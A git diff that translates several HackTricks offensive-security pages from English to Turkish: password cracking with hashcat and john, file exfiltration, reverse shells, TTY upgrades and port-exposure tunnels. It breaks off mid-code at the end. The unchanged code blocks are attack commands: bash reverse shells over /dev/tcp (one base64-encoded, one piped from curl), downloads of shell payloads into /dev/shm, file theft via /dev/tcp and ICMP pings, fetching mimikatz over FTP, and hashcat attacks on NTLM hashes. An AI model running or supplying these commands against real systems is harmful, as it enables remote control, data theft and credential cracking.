[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Başka bir Luks BF eğitimi: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### PGP/GPG Özel anahtarı ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
### DPAPI Master Key -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) kullanın ve ardından john ### Open Office Pwd Protected Column -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +Eğer bir şifre ile korunan bir sütun içeren bir xlsx dosyanız varsa, onu korumasını kaldırabilirsiniz: +- **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır +- **Manuel olarak kaldırmak için**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,76 +597,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### PFX Sertifikaları ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## Araçlar -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) - -### Hash-identifier +**Hash örnekleri:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +### Hash-tanımlayıcı ```bash hash-identifier > ``` - -### Wordlists +### Kelime Listeleri - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) -- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) +- [**Seclists - Parolalar**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Kelime Listesi Üretim Araçları** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Konfigüre edilebilir temel karakterler, tuş haritası ve rotalar ile gelişmiş klavye yürüyüşü üreticisi. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` +### John mutasyonu -### John mutation - -Read _**/etc/john/john.conf**_ and configure it - +_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın. ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat saldırıları -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **Kelimeler listesi saldırısı** (`-a 0`) kurallarla +**Hashcat** zaten **kuralları içeren bir klasörle** birlikte gelir, ancak [**diğer ilginç kuralları burada bulabilirsiniz**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Wordlist combinator** saldırısı -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +Hashcat ile **2 kelime listesini 1'e birleştirmek** mümkündür.\ +Eğer liste 1 **"hello"** kelimesini içeriyorsa ve ikinci liste **"world"** ve **"earth"** kelimeleriyle 2 satır içeriyorsa. `helloworld` ve `helloearth` kelimeleri oluşturulacaktır. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +657,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **Maske saldırısı** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +689,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +697,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Hashcat modları ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +Linux Hash'lerini Kırma - /etc/shadow dosyası ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Windows Hash'lerini Kırma ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +Yaygın Uygulama Hash'lerini Kırma ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..61917b14f 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -2,39 +2,32 @@ {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## Bilgi sızdırmak için yaygın olarak beyaz listeye alınmış alanlar -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +Sıkça beyaz listeye alınmış ve kötüye kullanılabilecek alanları bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin. ## Copy\&Paste Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Dosya Yükleme - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- [**GET ve POST'ları (aynı zamanda başlıkları) yazdıran SimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- Python modülü [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **HTTPS Sunucusu** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### FTP sunucusu (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### FTP sunucusu (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### FTP sunucusu (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Windows** istemcisi ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali sunucu olarak ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +Veya **samba** kullanarak bir smb paylaşımı oluşturun: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - Windows - ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +Saldırganın SSHd'nin çalışıyor olması gerekir. ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Eğer kurbanın SSH'si varsa, saldırgan kurbanın bir dizinini saldırgana bağlayabilir. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### Kurbandan dosya indir ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### Kurbanın dosyasını yükle ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +**@BinaryShadow\_**'a teşekkürler ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +**kurban** üzerinde, Kali sunucusuna bağlanın: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Bir PHP oneliner ile bir dosya indirin: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Kurban** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +`debug.exe` programı yalnızca ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **hex'ten yeniden inşa etme yeteneğine de sahiptir**. Bu, bir ikilinin hex'ini sağlayarak, `debug.exe`'nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe'nin **64 kb boyutuna kadar dosyaları birleştirme sınırlaması** olduğunu belirtmek önemlidir. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +Sonra metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır. ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..b6f82790e 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -8,7 +8,7 @@ # [**Full TTYs**](full-ttys.md) -# **Auto-generated shells** +# **Otomatik oluşturulan shell'ler** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..c223f02cd 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**Bu sayfanın amacı, EN AZINDAN yerel ham TCP portlarını ve yerel webleri (HTTP) internete açmaya olanak tanıyan alternatifler önermektir, DİĞER sunucuda hiçbir şey yüklemeye gerek kalmadan (gerekirse yalnızca yerelde).** ## **Serveo** From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +[https://www.socketxp.com/download](https://www.socketxp.com/download) adresinden, tcp ve http'yi açığa çıkarmaya olanak tanır: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +[https://ngrok.com/](https://ngrok.com/) adresinden, http ve tcp portlarını açmanıza olanak tanır: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +[https://telebit.cloud/](https://telebit.cloud/) adresinden http ve tcp portlarını açmanıza olanak tanır: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +[https://localxpose.io/](https://localxpose.io/) adresinden, birkaç http ve port yönlendirme özelliğini **ücretsiz** olarak sunar. ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +From [https://expose.dev/](https://expose.dev/) http ve tcp portlarını açmanıza olanak tanır: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +[https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) adresinden, http'yi ücretsiz olarak açığa çıkarmaya olanak tanır: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..c3aa20a2b 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -2,36 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +`SHELL` değişkeninde ayarladığınız shell'in **mutlaka** _**/etc/shells**_ içinde **listelenmiş** olması gerektiğini unutmayın veya `SHELL değişkeninin değeri /etc/shells dosyasında bulunamadı. Bu olay rapor edildi` mesajını alırsınız. Ayrıca, sonraki snippet'lerin yalnızca bash'te çalıştığını unutmayın. Eğer zsh'deyseniz, shell'i elde etmeden önce `bash` komutunu çalıştırarak bash'e geçin. #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> **`stty -a`** komutunu çalıştırarak **satır** ve **sütun** **sayısını** alabilirsiniz. #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,8 +28,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **Shell'leri Başlatma** - `python -c 'import pty; pty.spawn("/bin/sh")'` - `echo os.system('/bin/bash')` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +**Etkileşimli shell erişimi**, ayrıca **dosya transferleri** ve **port yönlendirmeleri** için uygun bir yol, statik bağlı ssh sunucusu [ReverseSSH](https://github.com/Fahrj/reverse-ssh)'yi hedefe bırakmaktır. -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +Aşağıda `x86` için upx ile sıkıştırılmış ikili dosyalarla bir örnek bulunmaktadır. Diğer ikili dosyalar için [sürümler sayfası](https://github.com/Fahrj/reverse-ssh/releases/latest/) kontrol edin. +1. ssh port yönlendirme isteğini yakalamak için yerel olarak hazırlanın: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Linux hedef: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Windows 10 hedefi (daha eski sürümler için, [proje readme](https://github.com/Fahrj/reverse-ssh#features) kontrol edin): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, artık `reverse-ssh(.exe)`'yi çalıştıran kullanıcının bağlamında varsayılan şifre `letmeinbrudipls` ile giriş yapabilmelisiniz: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) otomatik olarak Linux ters kabuklarını TTY'ye yükseltir, terminal boyutunu yönetir, her şeyi kaydeder ve daha fazlasını yapar. Ayrıca Windows kabukları için readline desteği sağlar. ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +Eğer bir sebepten dolayı tam bir TTY elde edemiyorsanız, **hala kullanıcı girişi bekleyen programlarla etkileşimde bulunabilirsiniz**. Aşağıdaki örnekte, şifre `sudo`'ya bir dosyayı okumak için iletilir: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..d9a30c953 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**Bu shell'ler hakkında sorularınız varsa** [**https://explainshell.com/**](https://explainshell.com)**'i kontrol edebilirsiniz.** ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**Bir reverse shell aldıktan sonra**[ **tam bir TTY elde etmek için bu sayfayı okuyun**](full-ttys.md)**.** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +Diğer shell'leri kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash. -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### Sembol güvenli shell ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Shell açıklaması -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: Bu komutun kısmı etkileşimli (`-i`) Bash shell'ini başlatır. +2. **`>&`**: Bu komutun kısmı, **standart çıktıyı** (`stdout`) ve **standart hatayı** (`stderr`) **aynı hedefe yönlendirmek için** kısayol notasyonudur. +3. **`/dev/tcp//`**: Bu, **belirtilen IP adresine ve porta bir TCP bağlantısını temsil eden** özel bir dosyadır. +- **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkili bir şekilde etkileşimli shell oturumunun çıktısını saldırganın makinesine gönderir. +4. **`0>&1`**: Bu komutun kısmı, **standart girişi (`stdin`) standart çıktının (`stdout`) aynı hedefine yönlendirir**. +### Dosya oluştur ve çalıştır ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +Bir **Remote Code Execution (RCE)** zafiyeti ile bir Linux tabanlı web uygulamasıyla uğraşırken, ters bir shell elde etmek, iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Böyle kısıtlı ortamlarda, ele geçirilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) shell oluşturmak alternatif bir yaklaşım sunar. -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git) olup, hedef ortamla etkileşimi basitleştirir. +Toboggan'ı etkili bir şekilde kullanmak için, hedef sisteminizin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - 